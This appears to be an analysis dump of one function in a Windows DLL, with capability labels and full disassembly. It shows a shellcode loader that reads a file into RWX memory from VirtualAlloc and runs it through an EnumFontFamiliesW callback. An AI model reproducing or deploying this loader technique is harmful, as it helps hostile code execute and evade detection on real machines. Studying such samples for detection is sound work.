Function at 0x1800017a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
mov qword [rbp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor ebx, ebx
mov dword [rbp + 0x80], ebx
lea rax, [0x180019cf0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x80], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp], rax
mov qword [rsp + 0x58], rbx
lea rcx, [rbp]
call fcn.180001610
lea r11, [rsp + 0x60]
mov qword [rbp + 0x48], r11
mov qword [rbp + 0x50], rbx
lea rcx, [rbp]
call fcn.180003740
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], rbx
jne 0x18000182c
mov edx, dword [rbp + 0x10]
or edx, 4
xor r8d, r8d
lea rcx, [rbp]
call fcn.1800014a0
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.180002e30
nop
lea rcx, [rsp + 0x60]
call fcn.180002ed0
test rax, rax
jne 0x180001882
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001879
or edx, 4
xor r8d, r8d
call fcn.1800014a0
nop
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x1800018c4
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
jmp 0x1800018cb
mov rax, qword [0x180016490]
movsxd rdi, ebx
add rdi, rax
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x180001937
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x180016490]
jne 0x180001937
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x18000192f
or edx, 4
xor r8d, r8d
call fcn.1800014a0
mov rcx, rdi
call fcn.180004898
mov rsi, rax
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180001b40
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x18000199d
mov rcx, rsi
call fcn.180005bd8
lea rcx, [rsp + 0x60]
call fcn.180002fc0
test rax, rax
jne 0x18000199d
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001995
or edx, 4
xor r8d, r8d
call fcn.1800014a0
lea rcx, [rsp + 0x60]
call fcn.180002fc0
test rax, rax
jne 0x1800019d2
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x1800019ca
or edx, 4
xor r8d, r8d
call fcn.1800014a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180004f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
nop
lea rcx, [rbp]
call fcn.180001f30
lea r11, vtable.std::ios_base.0
mov qword [rbp], r11
lea rcx, [rbp]
call fcn.18000407c
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret